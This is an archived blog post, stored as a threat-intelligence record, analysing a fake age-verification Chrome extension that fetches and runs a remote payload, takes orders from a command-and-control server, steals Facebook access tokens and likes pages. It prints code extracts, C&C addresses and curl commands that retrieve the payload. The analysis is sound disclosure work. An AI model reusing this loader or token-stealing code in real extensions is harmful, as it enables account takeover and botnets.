{
	"id": "24b2a26d-94a5-418d-9214-0064dba92763",
	"created_at": "2026-04-06T03:36:45.519189Z",
	"updated_at": "2026-04-10T03:22:12.127162Z",
	"deleted_at": null,
	"sha1_hash": "c76729ffbc6a47f8e0aebd8dc74e972dbd0099f7",
	"title": "Malware in the browser: how you might get hacked by a Chrome extension",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 440223,
	"plain_text": "Malware in the browser: how you might get hacked by a Chrome\r\nextension\r\nBy Maxime Kjaer\r\nPublished: 2016-07-18 · Archived: 2026-04-06 03:32:53 UTC\r\nThe Wayback Machine - https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nJuly 18, 2016\r\nIncreasingly, browsers are taking on a central role in our daily lives. With web apps for everything, we have\r\nplaced our most intimate data on online services such as Facebook, Amazon or GMail. This move to online\r\nservices has required that we up the security of our online services, and due diligence has brought us HTTPS-only\r\nsites, two-factor authentication, and so on. But there’s still a weak link in the chain: a rogue browser extension can\r\nimpair all of those security measures.\r\nIt seems like most people are unaware of how big of an attack vector browser extensions have become. They’re\r\nstill quite unregulated territory, and although there are inherent limits to what they can do, there exists little to no\r\nprotection against extension malware — your antivirus can’t help you here.\r\nIn this post, I’ll share what I have found by investigating one such malware extension that a friend of mine was\r\ninfected by. I’ve hesitated a lot about publishing all of the code, but have finally decided against it; I would never\r\nwant to help propagate malware. However, I still want to show how this malware functions, so I’ll be posting\r\nextracts of the code in this post. I’ve taken the liberty to remove some lines that were irrelevant to the point I was\r\nmaking, but everything else is really as I have found it.\r\nDiscovery\r\nOn my Facebook news feed, I had noticed that one of my friends was regularly liking some weird, lewd,\r\nclickbaity links. Now clickbait content is far from uncommon on Facebook, but something was off in this case. I\r\nhad noticed a pattern: it was always the same friend who would Like the same type of links. They would always\r\nhave around 900 Likes and no comments, while the page behind them has about 30 Likes. Even weirder: every\r\nsingle post on that page is posted 25 times.\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 1 of 13\n\nOne of the posts that my friend had Liked. 940 Likes, no comments.\r\nNow I know my friend; he’s a smart guy, so I don’t really see him liking tons of this (frankly) crap content.\r\nIntrigued, I decided to go down the rabbit hole and see what this was all about.\r\nSo I clicked on one of these links. Huge mistake.\r\nI was instantly greeted with a message saying that I should verify my age before I could view the content. The\r\nsemi-raunchy nature of the content made it seem sort of justified. What wasn’t justified, though, was the fact that\r\nthis verification had to be done by installing a Chrome extension.\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 2 of 13\n\nThe Chrome extension that I would have to install in order to \"verify my age\"\r\nThe extension is allegedly offered by a website called viralands.com (not linking to them). A quick search for\r\ntheir other extensions revealed that they had 9 visibly identical extensions. They’ve now been removed, but back\r\nwhen I looked at it, those extensions had a total of 132,265 users.\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 3 of 13\n\nA list of almost identical extensions being offered by Viralands on the Chrome Webstore\r\nFeeling that something was completely off, I decided to take a look at the extension’s code before doing anything\r\nelse. Here’s what I found.\r\nA facade of utility\r\nThe extension manifest is suspicious at best\r\nA good place to start is the extension’s manifest, a file called manifest.json . This is a metadata file containing\r\ninformation about the extension such as its name, description, version number, permissions, and so on.\r\nGenerally, looking at the requested permissions and listed scripts gives an idea of what the extension will do. The\r\nextensions asks the following permissions:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n{\r\n\"permissions\": [\r\n\"storage\",\r\n\"\u003call_urls\u003e\",\r\n\"tabs\",\r\n\"webNavigation\",\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 4 of 13\n\n7\r\n8\r\n9\r\n\"alarms\"\r\n]\r\n}\r\nWhen installing the extension Chrome translates these permissions to to the following warning:\r\nAdd “Viral Content Age Verify”?\r\nIt can:\r\nRead and change all your data on the websites you visit.\r\nAlready, this seems like an awful lot for an extension that just needs to check your age, doesn’t it?\r\nIf we keep reading the manifest file, we find the following lines:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n{\r\n\"background\": {\r\n\"scripts\": [\r\n\"scripts/query-string.js\",\r\n\"scripts/install.js\",\r\n\"background.js\"\r\n],\r\n\"persistent\": true\r\n},\r\n\"content_security_policy\": \"script-src blob: filesystem: chrome-extension-resource: '\r\n}\r\nSo all in all, it wants to run 3 scripts persistently (meaning that they can’t be paused), while being able to fetch\r\ndata from anywhere, store it, and evaluate stored code unsafely. This isn’t boding all too well already. Let’s take a\r\nlook at the three scripts ( background.js , query-string.js and install.js ) to see if there is any validity to\r\nour suspicions.\r\nThe age verification is fake\r\nThe background.js script is quite short, as it only does one thing: when the extension is installed, it opens a\r\npopup. The popup is a simple HTML form where you can enter your birthday and press “Verify”. Oh cool, the\r\nextension might actually do as advertised!\r\nBut the JavaScript that runs on that age verification page is particularly interesting, as it tells another story:\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 5 of 13\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\ndocument.querySelector('#submit').addEventListener('click', function() {\r\ndocument.querySelector('#box').hidden = true;\r\ndocument.querySelector('#loading').hidden = false;\r\nsetTimeout(function() {\r\ndocument.querySelector('#loading').hidden = true;\r\ndocument.querySelector('#done').hidden = false;\r\n}, (randomIntFromInterval(0, 2) / 2 + 0.5) * 1000);\r\n});\r\nYes, you’re reading this right. If you click “Verify” it will display “Loading…” and idle for a random amount of\r\ntime, and then say “Done”. It doesn’t do anything; the age verification is a dummy.\r\nSo what is it hiding? The extension runs two more scripts, namely query-string.js and install.js . Let’s see\r\nwhat’s going on in those.\r\nWhat is it actually doing?\r\nFetching a remote payload\r\nThe query-string.js script isn’t of much interest, as it’s just a copy of this NPM package.\r\nBut you’ll never believe what install.js does! Line 133 will surprise you (It hurt me a little bit on the inside to write\r\na sentence like that).\r\nAmong the first lines of install.js is this eye-striking line:\r\nvar programUrl = 'http://104.131.35.136:9999/jsnew.php?id=22';\r\nIt’s a hardcoded variable for an external server on which to fetch scripts (also it doesn’t even have the courtesy to\r\ndo it over HTTPS. Bonus MITM attacks yay!).\r\nSpoiler alert: The script that it fetches from the above server is a malware payload. The extension needs to\r\ndownload it after having been installed because it cannot ship with the payload if it wants to pass through the\r\nChrome Webstore’s security checks.\r\nIt fetches a script from the server, stores it in localStorage and executes it. We can see this happening in the\r\ngetProgram() function.\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 6 of 13\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\nfunction getProgram(event) {\r\nvar xhr = new XMLHttpRequest();\r\nvar url = programUrl;\r\nvar querySign = url.indexOf('?') === -1 ? '?' : '\u0026';\r\nurl += querySign + 'r=' + Date.now();\r\nxhr.open('GET', url, true);\r\nxhr.setRequestHeader('XYZ-Extension-Id', chrome.runtime.id);\r\nxhr.onload = function() {\r\nvar code = xhr.response;\r\ntry {\r\nvar fn = new window['Function'](code);\r\nconsole.log('Executing loaded code');\r\nfn(); // exit if error\r\nlocalStorage.setItem('localCode', code);\r\n} catch (e) {\r\nconsole.error(e);\r\n}\r\nxhr.send();\r\n}\r\n}\r\nI was able to simulate a such request with the following cURL command.\r\ncurl -o external.js --header \"XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd\" http://104.131\r\nThis gave me the malware payload. It doesn’t have a formal name, but I called it external.js . This is a fairly\r\nlong file, clocking in at 1288 lines. Here’s what it’s capable of doing.\r\nGetting instructions from an external server\r\nTwo URLs are defined in the beginning of external.js :\r\n1\r\n2\r\nvar ACTIONS_URL = 'http://159.203.99.206/api/get/';\r\nvar STATUS_URL = 'http://159.203.99.206/api/status';\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 7 of 13\n\nThe first URL is to get instructions from a server, and the second one is to report back to it. This model of getting\r\ninstructions from a server and sending the status back is not a new trick at all; it’s called Command and Control\r\n(or C\u0026C; for short).\r\nWe’ll discover how the extension gets instructions from the C\u0026C; server, and what the instructions contain by\r\nlooking at the getActions() function defined in external.js :\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\nfunction getActions(uid) {\r\nvar xhr = new XMLHttpRequest();\r\nxhr.open('GET', ACTIONS_URL + uid, true);\r\nxhr.responseType = 'json';\r\nxhr.onload = function() {\r\nvar data = xhr.response;\r\nvar actions = data \u0026\u0026 data.actions;\r\nif (Array.isArray(actions) \u0026\u0026 actions.length) {\r\ncheckFBLogin(function(status) {\r\nfbLoginStatus = status;\r\nhandleActions(actions);\r\n});\r\n}\r\n};\r\nxhr.send();\r\n}\r\nThe uid variable is a unique identifier for your machine, and is generated by a function called generateUID() :\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nfunction generateUID() {\r\nvar array = new Uint32Array(8);\r\nwindow.crypto.getRandomValues(array);\r\nreturn [].map.call(array, function(n) {\r\nreturn n.toString(16)\r\n}).join('');\r\n}\r\nI ran it once, and it gave me:\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 8 of 13\n\nc38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7\r\nSo this is what I’ll use as an example. You’ll need to create your own UID if you want to get your very own\r\ninstructions. To simulate a request to the server, I ran:\r\ncurl -o actions.json http://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03a\r\nThis returns a JSON file containing a list of actions that the extension will undertake. Here are the instruction I\r\ngot:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n{\r\n\"actions\": [\r\n{\r\n\"actionType\": \"ap\",\r\n\"data\": {\r\n\"url\": \"https://www.facebook.com/dialog/oauth?redirect_uri=ht\r\n\"callback\": \"http://159.203.99.206/api/getToken\"\r\n}\r\n},\r\n{\r\n\"actionType\": \"ap\",\r\n\"data\": {\r\n\"url\": \"https://www.facebook.com/dialog/oauth?redirect_uri=ht\r\n\"callback\": \"http://159.203.99.206/api/getToken2\"\r\n}\r\n},\r\n{\r\n\"actionType\": \"lk\",\r\n\"data\": {\r\n\"id\": \"VVideosss\"\r\n}\r\n}\r\n]\r\n}\r\nLet’s try to make sense of what this means the extension is doing.\r\nLeaking your access tokens\r\nThe first two actions contain links that the extension can steal your access tokens from. If you load these links,\r\nyou will be forwarded to an URL containing your access tokens, which the extension will catch and send to the\r\nserver in the callback field above.\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 9 of 13\n\nWith your Facebook access token, the malware operators have access to your account. They can log in to it, send\r\nand read messages, post statuses and links, comment, Like posts and pages… Having these stolen is equivalent to\r\nhaving your login credentials stolen.\r\nLiking Facebook pages\r\nThe instructions that I downloaded also told the extension to go Like a page called VVideosss. Let’s check the\r\npage out:\r\n168,153 Likes, what a popular page! Wait, that's not too far from the 132,265 users that have been\r\ninfected by the Viralands extensions, is it?\r\nIt seems likely to me that the page in question must’ve bought some Likes from some dodgy provider (which, side\r\nnote, is an adjective that applies to all Facebook Like sellers) that creates Likes from infected computers instead of\r\nclickfarms or something. Though this is pure speculation, I’m certain that something fishy is going on with this\r\npage.\r\nSubscribing you to YouTube channels\r\nI didn’t get any instructions to subscribe to any YouTube channels, but the code does contain a function that does\r\njust that.\r\nReporting back to the server\r\nThe extension can also report back to the C\u0026C; server about its current status, through the following function:\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 10 of 13\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\nfunction sendStatus(data) {\r\nchrome.storage.local.get('uid', function(storage) {\r\ndata.id = storage.uid;\r\ndata.extension_id = chrome.runtime.id;\r\ndata.fbLoginStatus = fbLoginStatus;\r\nvar xhr = new XMLHttpRequest();\r\nxhr.open('POST', STATUS_URL, true);\r\nxhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\r\nxhr.send(queryString.stringify(data));\r\nconsole.log('Status data has been sent', data);\r\n});\r\n}\r\nIt sends three things back to the server:\r\n1. The UID, a unique ID string that identifies the infected machine\r\n2. The extension ID, a string corresponding to the extension that is reporting back (because there are multiple\r\ncopies of the same extension available in the Chrome Webstore, and the malware operators might need to\r\nknow which one you have).\r\n3. Whether the infected machine currently is signed into Facebook\r\nI’m taking it that the malware operators use this information to judge the exact size and activity of their botnet, as\r\nthese are factors that determine its value on the black market.\r\nAnd potentially much more\r\nThe extension is always on the lookout for a new version of the payload. Though I haven’t witnessed it change, it\r\ncould very well evolve and gain new capabilities.\r\nSince the malware has permission to “read and change all your data on the websites you visit”, its operators could\r\ngain total control over everything that happens in your browser. They could potentially read your emails, steal all\r\nyour login credentials, have you DDoS someone, mine Bitcoin, seed pirated content… You name it. That even\r\nincludes reading and leaking your credit card information, if you ever are to type that in.\r\nYour local files are off-limit though, if that’s of any consolation. Hurray, right?\r\nTaking the botnet down\r\nThough most of the Viralands extensions have been taken down from the Chrome Webstore now, that doesn’t\r\nchange anything for the 132,265 infected computers. To the best of my knowledge (I couldn’t find anything\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 11 of 13\n\nconfirming it though), an extension stays installed even after it has been removed from the Webstore, so every\r\ninfected machine effectively stays infected.\r\nThankfully, this C\u0026C; network isn’t really well conceived. As the Wikipedia article on C\u0026C; notes:\r\nA botnet server structure that lacks redundancy is vulnerable to at least the temporary disconnection of\r\nthat server.\r\nThere is no redundancy in this case; the C\u0026C; server is just a hardcoded IP address! If the malware operators were\r\nto lose control over said IP address, the whole network would effectively be deactivated. Again, the article notes:\r\nIn some cases, computer security experts have succeeded in destroying or subverting malware\r\ncommand and control networks, by, among other means, seizing servers or getting them cut off from the\r\nInternet\r\nWell, I wouldn’t consider myself to be an expert in computer security, but I might be able to destroy this C\u0026C;\r\nnetwork anyway.\r\nUsing IPalyzer, I found out that both IP addresses belong to DigitalOcean, a hosting provider (actually the one that\r\nI use for this site). I have experience signaling abuse to DigitalOcean, and they have always been very responsive,\r\nusually getting the issue solved within a day or two.\r\nIf DigitalOcean does take down these two servers, then the botnet will have been destroyed. Or rather, the\r\nmalware operators will lose control over it — all the machines technically remain infected, but the malware will\r\nbe defused. Still, that’s a patched security vulnerability on 130,000 machines at once. A drop in the ocean\r\ncompared to the size of the Internet, but still a decent catch if you ask me.\r\nHow can we prevent this in the future?\r\nI do not want to offer the conclusion that everyone should stay clear of all browser extensions. They’re still\r\nimmensely useful, and some of them actually do make for a safer browsing experience (HTTPS Everywhere,\r\nuBlock Origin, LastPass…). That being said, malware will always be a risk when you offer third-party software\r\nhigh levels of permissions. I’d like to propose a few ideas that could help reduce that risk.\r\nGoogle could start out by restoring trust in trustworthy extensions. One way of doing that would be to manually\r\nverify extensions, or vet the reputation of the developer.\r\nOpen Source is also a great way of restoring trust: if an extension is open source, then maybe that could warrant a\r\nbadge? There’s still the problem of whether the open source code is what’s being served in the extension, but there\r\nare ways of solving that too — off the top of my head I can suggest a GitHub integration that automatically builds\r\nand publishes the latest version of the code and then marks it as “verified as being open-source”.\r\nLet’s not forget that this is f***ing Google we’re talking about! They do static code analysis with automatic\r\nsuggestion of fixes on an 86TB repository, so don’t tell me that they’re unable to detect blatant malware in a\r\n20KB Chrome extension! The fact is that the current malware detection on the Chrome Webstore is a joke.\r\nCurrently, all it takes to get around it is to download the payload on installation rather than shipping with it. This\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 12 of 13\n\nhas been the case for years now, and it doesn’t seem like Google is doing much about it. They offer 5-digit bug\r\nbounties for vulnerabilities in Chrome, and yet they leave this glaring security hole virtually unguarded!\r\nThe current state of affairs is dismal on the Chrome Webstore. Yes, you can report an abusive extension, but the\r\nfact that these ones got to at least 132,000 users before being taken down is a testament to how ineffective that is.\r\nIf anyone from Google is reading this: fix the Chrome Webstore — it’s one of the largest single security threats to\r\nthe Web right now.\r\nAddendum\r\nWill Harris, who works on Chrome Security, tells me that blacklisted extensions actually are removed from the\r\ncomputers of those who have them installed.\r\n@maximekjaer Extensions that are blacklisted in the Chrome web store do get automatically removed\r\nfrom all users who have them installed.\r\n— Will Harris (@parityzero) July 18, 2016\r\nThat’s good news, because it means that the 132,000 users in question aren’t infected anymore. It provides an\r\neasier, more efficient way of shutting down a such botnet.\r\n« Back\r\nSource: https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nhttps://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
	],
	"report_names": [
		"extension-malware"
	],
	"threat_actors": [],
	"ts_created_at": 1775446605,
	"ts_updated_at": 1775791332,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c76729ffbc6a47f8e0aebd8dc74e972dbd0099f7.pdf",
		"text": "https://archive.orkl.eu/c76729ffbc6a47f8e0aebd8dc74e972dbd0099f7.txt",
		"img": "https://archive.orkl.eu/c76729ffbc6a47f8e0aebd8dc74e972dbd0099f7.jpg"
	}
}